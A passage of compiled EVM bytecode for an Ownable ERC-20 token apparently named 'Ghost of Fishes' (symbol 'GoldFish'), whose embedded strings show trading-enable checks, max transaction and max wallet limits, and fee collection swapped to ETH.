6815260200190815260200160002060006109ae6114c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612cee565b60405180910390fd5b610a4b85610a3a6114c8565b8584610a469190612d3d565b6114d0565b60019150509392505050565b60006009905090565b610a686114c8565b73ffffffffffffffffffffffffffffffffffffffff16610a86610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390612dbd565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b3f6114c8565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612dbd565b60405180910390fd5b6009600a610bc19190612f10565b81610bcc9190612f5b565b60158190555050565b610bdd6114c8565b73ffffffffffffffffffffffffffffffffffffffff16610bfb610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4890612dbd565b60405180910390fd5b6000600a819055506000600b819055506003600c81905550600c54600b54600a54610c7c9190612fb5565b610c869190612fb5565b600d81905550565b610c966114c8565b73ffffffffffffffffffffffffffffffffffffffff16610cb4610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612dbd565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610db66114c8565b73ffffffffffffffffffffffffffffffffffffffff16610dd4610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190612dbd565b60405180910390fd5b610e346000611d76565b565b60058054610e439061303a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6f9061303a565b8015610ebc5780601f10610e9157610100808354040283529160200191610ebc565b820191906000526020600020905b815481529060010190602001808311610e9f57829003601f168201915b505050505081565b60085481565b6000601654905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600881526020017f476f6c6446697368000000000000000000000000000000000000000000000000815250905090565b600e5481565b8060059081610f559190613217565b5050565b610f616114c8565b73ffffffffffffffffffffffffffffffffffffffff16610f7f610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcc90612dbd565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061106a6110636114c8565b8484611699565b6001905092915050565b600b5481565b60095481565b6110886114c8565b73ffffffffffffffffffffffffffffffffffffffff166110a6610ed4565b73ffffffffffffffffffffffffffffffffffffffff16146110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f390612dbd565b60405180910390fd5b565b6111066114c8565b73ffffffffffffffffffffffffffffffffffffffff16611124610ed4565b73ffffffffffffffffffffffffffffffffffffffff161461117a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117190612dbd565b60405180910390fd5b6000601360146101000a81548160ff021916908315150217905550565b600f5481565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6112386114c8565b73ffffffffffffffffffffffffffffffffffffffff16611256610ed4565b73ffffffffffffffffffffffffffffffffffffffff16146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612dbd565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61130f6114c8565b73ffffffffffffffffffffffffffffffffffffffff1661132d610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137a90612dbd565b60405180910390fd5b6009600a6113919190612f10565b8261139c9190612f5b565b6016819055506009600a6113b09190612f10565b816113bb9190612f5b565b6015819055505050565b60065481565b6113d36114c8565b73ffffffffffffffffffffffffffffffffffffffff166113f1610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143e90612dbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad9061335b565b60405180910390fd5b6114bf81611d76565b50565b600a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611536906133ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a59061347f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161168c9190612947565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff90613511565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e906135a3565b60405180910390fd5b600081116117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b190613635565b60405180910390fd5b6117c383610d65565b811115611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906136c7565b60405180910390fd5b601360149054906101000a900460ff16806118695750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806118bd5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f390613733565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa057601654811115611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e9061379f565b60405180910390fd5b60155481611a5484610d65565b611a5e9190612fb5565b1115611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a969061380b565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba15750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bff57601554611bb283610d65565b82611bbd9190612fb5565b1115611bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf59061389d565b60405180910390fd5b5b6000611c0a30610d65565b9050601360159054906101000a900460ff16158015611c775750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8f5750601360169054906101000a900460ff165b8015611c9b5750600081115b15611cc357611ca981611e3a565b60004790506000811115611cc157611cc0476120b3565b5b505b611d70848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d6a5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561211f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e7257611e71612a88565b5b604051908082528060200260200182016040528015611ea05781602001602082028036833780820191505090505b5090503081600081518110611eb857611eb76138bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f839190613901565b81600181518110611f9757611f966138bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ffe30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114d0565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612062959493929190613a27565b600060405180830381600087803b15801561207c57600080fd5b505af1158015612090573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561211b573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461216e9190612d3d565b92505081905550600081612182578261218e565b61218d858585612252565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121df9190612fb5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122439190612947565b60405180910390a35050505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122b357506000600954115b1561235657601160009054906101000a900461ffff1661ffff16600654836122db9190612f5b565b6122e59190613ab0565b600e81905550601160009054906101000a900461ffff1661ffff166007548361230e9190612f5b565b6123189190613ab0565b600f81905550601160009054906101000a900461ffff1661ffff16600854836123419190612f5b565b61234b9190613ab0565b601081905550612455565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123b557506000600d54115b1561245457601160009054906101000a900461ffff1661ffff16600a54836123dd9190612f5b565b6123e79190613ab0565b600e81905550601160009054906101000a900461ffff1661ffff16600b54836124109190612f5b565b61241a9190613ab0565b600f81905550601160009054906101000a900461ffff1661ffff16600c54836124439190612f5b565b61244d9190613ab0565b6010819055505b5b600e5460016000601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124c89190612fb5565b92505081905550601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040516125509190612947565b60405180910390a3600f546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125ab9190612fb5565b92505081905550600f546014546125c29190612d3d565b6014819055506125d0610932565b60148190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040516126379190612947565b60405180910390a3601054600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126909190612fb5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516126f69190612947565b60405180910390a36000601054600f54600e546127139190612fb5565b61271d9190612fb5565b9050808361272b9190612d3d565b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061276082612735565b9050919050565b61277081612755565b82525050565b600060208201905061278b6000830184612767565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127cb5780820151818401526020810190506127b0565b838111156127da576000848401525b50505050565b6000601f19601f8301169050919050565b60006127fc82612791565b612806818561279c565b93506128168185602086016127ad565b61281f816127e0565b840191505092915050565b6000602082019050818103600083015261284481846127f1565b905092915050565b6000604051905090565b600080fd5b600080fd5b61286981612755565b811461287457600080fd5b50565b60008135905061288681612860565b92915050565b6000819050919050565b61289f8161288c565b81146128aa57600080fd5b50565b6000813590506128bc81612896565b92915050565b600080604083850312156128d9576128d8612856565b5b60006128e785828601612877565b92505060206128f8858286016128ad565b9150509250929050565b60008115159050919050565b61291781612902565b82525050565b6000602082019050612932600083018461290e565b92915050565b6129418161288c565b82525050565b600060208201905061295c6000830184612938565b92915050565b600061ffff82169050919050565b61297981612962565b82525050565b60006020820190506129946000830184612970565b92915050565b6000806000606084860312156129b3576129b2612856565b5b60006129c186828701612877565b93505060206129d286828701612877565b92505060406129e3868287016128ad565b9150509250925092565b600060ff82169050919050565b612a03816129ed565b82525050565b6000602082019050612a1e60008301846129fa565b92915050565b600060208284031215612a3a57612a39612856565b5b6000612a4884828501612877565b91505092915050565b600060208284031215612a6757612a66612856565b5b6000612a75848285016128ad565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ac0826127e0565b810181811067ffffffffffffffff82111715612adf57612ade612a88565b5b80604052505050565b6000612af261284c565b9050612afe8282612ab7565b919050565b600067ffffffffffffffff821115612b1e57612b1d612a88565b5b612b27826127e0565b9050602081019050919050565b82818337600083830152505050565b6000612b56612b5184612b03565b612ae8565b905082815260208101848484011115612b7257612b71612a83565b5b612b7d848285612b34565b509392505050565b600082601f830112612b9a57612b99612a7e565b5b8135612baa848260208601612b43565b91505092915050565b600060208284031215612bc957612bc8612856565b5b600082013567ffffffffffffffff811115612be757612be661285b565b5b612bf384828501612b85565b91505092915050565b60008060408385031215612c1357612c12612856565b5b6000612c2185828601612877565b9250506020612c3285828601612877565b9150509250929050565b60008060408385031215612c5357612c52612856565b5b6000612c61858286016128ad565b9250506020612c72858286016128ad565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612cd860288361279c565b9150612ce382612c7c565b604082019050919050565b60006020820190508181036000830152612d0781612ccb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d488261288c565b9150612d538361288c565b925082821015612d6657612d65612d0e565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612da760208361279c565b9150612db282612d71565b602082019050919050565b60006020820190508181036000830152612dd681612d9a565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612e3457808604811115612e1057612e0f612d0e565b5b6001851615612e1f5780820291505b8081029050612e2d85612ddd565b9450612df4565b94509492505050565b600082612e4d5760019050612f09565b81612e5b5760009050612f09565b8160018114612e715760028114612e7b57612eaa565b6001915050612f09565b60ff841115612e8d57612e8c612d0e565b5b8360020a915084821115612ea457612ea3612d0e565b5b50612f09565b5060208310610133831016604e8410600b8410161715612edf5782820a905083811115612eda57612ed9612d0e565b5b612f09565b612eec8484846001612dea565b92509050818404811115612f0357612f02612d0e565b5b81810290505b9392505050565b6000612f1b8261288c565b9150612f26836129ed565b9250612f537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3d565b905092915050565b6000612f668261288c565b9150612f718361288c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612faa57612fa9612d0e565b5b828202905092915050565b6000612fc08261288c565b9150612fcb8361288c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561300057612fff612d0e565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061305257607f821691505b6020821081036130655761306461300b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026130cd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82613090565b6130d78683613090565b95508019841693508086168417925050509392505050565b6000819050919050565b600061311461310f61310a8461288c565b6130ef565b61288c565b9050919050565b6000819050919050565b61312e836130f9565b61314261313a8261311b565b84845461309d565b825550505050565b600090565b61315761314a565b613162818484613125565b505050565b5b818110156131865761317b60008261314f565b600181019050613168565b5050565b601f8211156131cb5761319c8161306b565b6131a584613080565b810160208510156131b4578190505b6131c86131c085613080565b830182613167565b50505b505050565b600082821c905092915050565b60006131ee600019846008026131d0565b1980831691505092915050565b600061320783836131dd565b9150826002028217905092915050565b61322082612791565b67ffffffffffffffff81111561323957613238612a88565b5b613243825461303a565b61324e82828561318a565b600060209050601f831160018114613281576000841561326f578287015190505b61327985826131fb565b8655506132e1565b601f19841661328f8661306b565b60005b828110156132b757848901518255600182019150602085019450602081019050613292565b868310156132d457848901516132d0601f8916826131dd565b8355505b6001600288020188555050505b505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061334560268361279c565b9150613350826132e9565b604082019050919050565b6000602082019050818103600083015261337481613338565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133d760248361279c565b91506133e28261337b565b604082019050919050565b60006020820190508181036000830152613406816133ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061346960228361279c565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134fb60258361279c565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061358d60238361279c565b915061359882613531565b604082019050919050565b600060208201905081810360008301526135bc81613580565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061361f60298361279c565b915061362a826135c3565b604082019050919050565b6000602082019050818103600083015261364e81613612565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006136b160318361279c565b91506136bc82613655565b604082019050919050565b600060208201905081810360008301526136e0816136a4565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b600061371d60178361279c565b9150613728826136e7565b602082019050919050565b6000602082019050818103600083015261374c81613710565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061378960198361279c565b915061379482613753565b602082019050919050565b600060208201905081810360008301526137b88161377c565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006137f5601a8361279c565b9150613800826137bf565b602082019050919050565b60006020820190508181036000830152613824816137e8565b9050919050565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061388760228361279c565b91506138928261382b565b604082019050919050565b600060208201905081810360008301526138b68161387a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506138fb81612860565b92915050565b60006020828403121561391757613916612856565b5b6000613925848285016138ec565b91505092915050565b6000819050919050565b600061395361394e6139498461392e565b6130ef565b61288c565b9050919050565b61396381613938565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61399e81612755565b82525050565b60006139b08383613995565b60208301905092915050565b6000602082019050919050565b60006139d482613969565b6139de8185613974565b93506139e983613985565b8060005b83811015613a1a578151613a0188826139a4565b9750613a0c836139bc565b9250506001810190506139ed565b5085935050505092915050565b600060a082019050613a3c6000830188612938565b613a49602083018761395a565b8181036040830152613a5b81866139c9565b9050613a6a6060830185612767565b613a776080830184612938565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613abb8261288c565b9150613ac68361288c565b925082613ad657613ad5613a81565b5b82820490509291505056fea264697066735822122028e7b9ed69198c7b67962867c8e786ebb01bbe57eaab1acafc5eda8ecf735bc664736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106102345760003560e01c8063921369131161012e578063c9567bf9116100ab578063ea2f0b371161006f578063ea2f0b37146107f6578063ebece9c91461081f578063f11a24d314610848578063f2fde38b14610873578063f63743421461089c5761023b565b8063c9567bf914610721578063cc70acee14610738578063d0a3981414610763578063dd62ed3e1461078e578063e71dc3f5146107cb5761023b565b8063a8b08982116100f2578063a8b089821461064c578063a9059cbb14610677578063adb873bd146106b4578063b9e93700146106df578063c2af913b1461070a5761023b565b8063921369131461057957806395d89b41146105a45780639740a946146105cf5780639e024820146105fa5780639f71146d146106235761023b565b80633722355c116101bc578063715018a611610180578063715018a6146104b65780637537d9dd146104cd5780637bce5a04146104f857806384d6c8c6146105235780638da5cb5b1461054e5761023b565b80633722355c146103e75780633c19b3ca146104105780633e0c23b814610439578063437823ec1461045057806370a08231146104795761023b565b806318160ddd1161020357806318160ddd146102fe5780631d6167ac146103295780631f3fed8f1461035457806323b872dd1461037f578063313ce567146103bc5761023b565b806303fd2a451461024057806306fdde031461026b578063095ea7b3146102965780630fa604e4146102d35761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108c7565b6040516102629190612776565b60405180910390f35b34801561027757600080fd5b506102806108cd565b60405161028d919061282a565b60405180910390f35b3480156102a257600080fd5b506102bd60048036038101906102b891906128c2565b61090a565b6040516102ca919061291d565b60405180910390f35b3480156102df57600080fd5b506102e8610928565b6040516102f59190612947565b60405180910390f35b34801561030a57600080fd5b50610313610932565b6040516103209190612947565b60405180910390f35b34801561033557600080fd5b5061033e61093c565b60405161034b919061297f565b60405180910390f35b34801561036057600080fd5b50610369610950565b6040516103769190612947565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061299a565b610956565b6040516103b3919061291d565b60405180910390f35b3480156103c857600080fd5b506103d1610a57565b6040516103de9190612a09565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190612a24565b610a60565b005b34801561041c57600080fd5b5061043760048036038101906104329190612a51565b610b37565b005b34801561044557600080fd5b5061044e610bd5565b005b34801561045c57600080fd5b5061047760048036038101906104729190612a24565b610c8e565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612a24565b610d65565b6040516104ad9190612947565b60405180910390f35b3480156104c257600080fd5b506104cb610dae565b005b3480156104d957600080fd5b506104e2610e36565b6040516104ef919061282a565b60405180910390f35b34801561050457600080fd5b5061050d610ec4565b60405161051a9190612947565b60405180910390f35b34801561052f57600080fd5b50610538610eca565b6040516105459190612947565b60405180910390f35b34801561055a57600080fd5b50610563610ed4565b6040516105709190612776565b60405180910390f35b34801561058557600080fd5b5061058e610efd565b60405161059b9190612947565b60405180910390f35b3480156105b057600080fd5b506105b9610f03565b6040516105c6919061282a565b60405180910390f35b3480156105db57600080fd5b506105e4610f40565b6040516105f19190612947565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190612bb3565b610f46565b005b34801561062f57600080fd5b5061064a60048036038101906106459190612a24565b610f59565b005b34801561065857600080fd5b50610661611030565b60405161066e9190612776565b60405180910390f35b34801561068357600080fd5b5061069e600480360381019061069991906128c2565b611056565b6040516106ab919061291d565b60405180910390f35b3480156106c057600080fd5b506106c9611074565b6040516106d69190612947565b60405180910390f35b3480156106eb57600080fd5b506106f461107a565b6040516107019190612947565b60405180910390f35b34801561071657600080fd5b5061071f611080565b005b34801561072d57600080fd5b506107366110fe565b005b34801561074457600080fd5b5061074d611197565b60405161075a9190612947565b60405180910390f35b34801561076f57600080fd5b5061077861119d565b6040516107859190612947565b60405180910390f35b34801561079a57600080fd5b506107b560048036038101906107b09190612bfc565b6111a3565b6040516107c29190612947565b60405180910390f35b3480156107d757600080fd5b506107e061122a565b6040516107ed9190612947565b60405180910390f35b34801561080257600080fd5b5061081d60048036038101906108189190612a24565b611230565b005b34801561082b57600080fd5b5061084660048036038101906108419190612c3c565b611307565b005b34801561085457600080fd5b5061085d6113c5565b60405161086a9190612947565b60405180910390f35b34801561087f57600080fd5b5061089a60048036038101906108959190612a24565b6113cb565b005b3480156108a857600080fd5b506108b16114c2565b6040516108be9190612947565b60405180910390f35b61dead81565b60606040518060400160405280600f81526020017f47686f7374206f66204669736865730000000000000000000000000000000000815250905090565b600061091e6109176114c8565b84846114d0565b6001905092915050565b6000601554905090565b6000601454905090565b601160009054906101000a900461ffff1681565b60105481565b6000610963848484611699565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ae6114c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612cee565b60405180910390fd5b610a4b85610a3a6114c8565b8584610a469190612d3d565b6114d0565b60019150509392505050565b60006009905090565b610a686114c8565b73ffffffffffffffffffffffffffffffffffffffff16610a86610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390612dbd565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b3f6114c8565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612dbd565b60405180910390fd5b6009600a610bc19190612f10565b81610bcc9190612f5b565b60158190555050565b610bdd6114c8565b73ffffffffffffffffffffffffffffffffffffffff16610bfb610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4890612dbd565b60405180910390fd5b6000600a819055506000600b819055506003600c81905550600c54600b54600a54610c7c9190612fb5565b610c869190612fb5565b600d81905550565b610c966114c8565b73ffffffffffffffffffffffffffffffffffffffff16610cb4610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612dbd565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610db66114c8565b73ffffffffffffffffffffffffffffffffffffffff16610dd4610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190612dbd565b60405180910390fd5b610e346000611d76565b565b60058054610e439061303a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6f9061303a565b8015610ebc5780601f10610e9157610100808354040283529160200191610ebc565b820191906000526020600020905b815481529060010190602001808311610e9f57829003601f168201915b505050505081565b60085481565b6000601654905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600881526020017f476f6c6446697368000000000000000000000000000000000000000000000000815250905090565b600e5481565b8060059081610f559190613217565b5050565b610f616114c8565b73fffffffffffffffffffffffffffffffffff